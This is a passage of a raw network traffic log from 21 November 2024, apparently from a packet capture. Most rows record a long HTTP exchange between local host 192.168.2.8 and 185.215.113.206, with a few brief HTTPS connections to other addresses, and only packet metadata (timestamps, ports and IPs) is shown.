Nov 21, 2024 19:58:49.490689993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.491270065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.491278887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.491293907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.491333961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.491365910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.491913080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.492001057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.492343903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.492389917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.492727041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.492736101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.492785931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.493391037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.493407011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.493449926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.494009972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.494183064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.494213104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.494259119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.494719982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.494793892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.494971037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.495116949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.495413065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.495498896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.495508909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.495536089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.496109962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.496226072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.496231079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.496586084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.496838093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.496922970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.496953964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.496964931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.497596025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.497700930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.497701883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.497865915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.498239040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.498353958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.498411894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.498929977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.499049902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.499119997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.499622107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.499710083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.499742985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.499820948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.500359058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.500366926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.500418901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.501180887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.501295090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.501352072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.501739025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.501848936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.501898050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.502512932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.502615929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.502635002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.502712965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.503115892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.503199100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.503251076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.503359079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.503833055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.503954887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.504158020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.504530907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.504684925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.504731894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.505239964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.505341053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.505403996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.505451918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.505959034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.506047010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.506094933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.506628990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.506696939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.506716013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.506851912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.528381109 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:49.575323105 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:49.681548119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.681668043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.681699038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.681793928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.681910992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.682009935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.682059050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.682121038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.682621002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.682682991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.682842970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.682892084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.682943106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.683011055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.683494091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.683623075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.683624983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.683751106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.684215069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.684259892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.684353113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.684410095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.684896946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.684952021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.684998035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.685089111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.685611963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.685662031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.685668945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.685695887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.686310053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.686492920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.686496019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.686650038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.687009096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.687058926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.687197924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.687266111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.687743902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.687926054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.687932014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.687962055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.688452005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.688556910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.688575983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.688637972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.689110994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.689162970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.689203024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.689356089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.689832926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.689888000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.689953089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.690028906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.690525055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.690613985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.690648079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.691251040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.691306114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.691391945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.691608906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.691967010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.692025900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.692063093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.692151070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.692651987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.692739010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.692744970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.692967892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.693388939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.693447113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.693480968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.693540096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.694188118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.694252968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.694387913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.694713116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.694809914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.694854975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.694864988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.695426941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.695486069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.695502996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.695547104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.696135044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.696187973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.696228027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.696286917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.696841955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.696896076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.696943045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.696997881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.697535992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.697608948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.697635889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.697907925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.698255062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.698307991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.698354006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.698415995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.698947906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.699006081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.699023008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.699119091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.699635983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.699743032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.699798107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.700340986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.700407982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.700489044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.700500965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.701030970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.701112032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.701116085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.701349020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.701746941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.701773882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.701858997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.701870918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.702439070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.702506065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.702538013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.702661991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.703133106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.703217030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.703250885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.703327894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.703847885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.703918934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.703982115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.704085112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.704538107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.704611063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.704649925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.704732895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.705209970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.705286026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.705324888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.705369949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.705946922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.705996037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.706073046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.706134081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.706806898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.706816912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.706852913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.706865072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.707365036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.707495928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.707530975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.707568884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.708082914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.708204031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.708264112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.708761930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.708865881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.708934069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.708990097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.709456921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.709568024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.709595919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.709625006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.710264921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.710347891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.710350990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.710416079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.710867882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.710922956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.711039066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.711102009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.711553097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.711725950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.711782932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.712246895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.712462902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.712469101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.712769032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.713067055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.713227034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.713345051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.713412046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.713747025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.713809967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.713820934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.713846922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.714384079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.714490891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.714504957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.714533091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.715055943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.715169907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.715177059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.715228081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.715764999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.715822935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.716041088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.716099024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.716475010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.716557980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.716614962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.717185974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.717231989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.717240095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.717284918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.718652010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.718662024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.718713045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.818682909 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:49.818716049 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:49.818835974 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:49.819467068 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:49.819479942 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:49.876507998 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:49.876564026 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:49.876632929 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:49.877160072 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:49.877180099 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:49.892111063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.892195940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.892246962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.892385006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.892482996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.892543077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.892580032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.892591953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.892648935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.892695904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.893238068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.893305063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.893354893 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.893965960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.894134045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.894198895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.894665956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.894705057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.894761086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.894826889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.895390987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.895442963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.895488024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.895653009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.896068096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.896162987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.896174908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.896215916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.896775007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.896874905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.896924973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.897464991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.897567987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.897599936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.897665024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:49.898175955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:49.898243904 CET	49746	80	192.168.2.8	185.215.113.206
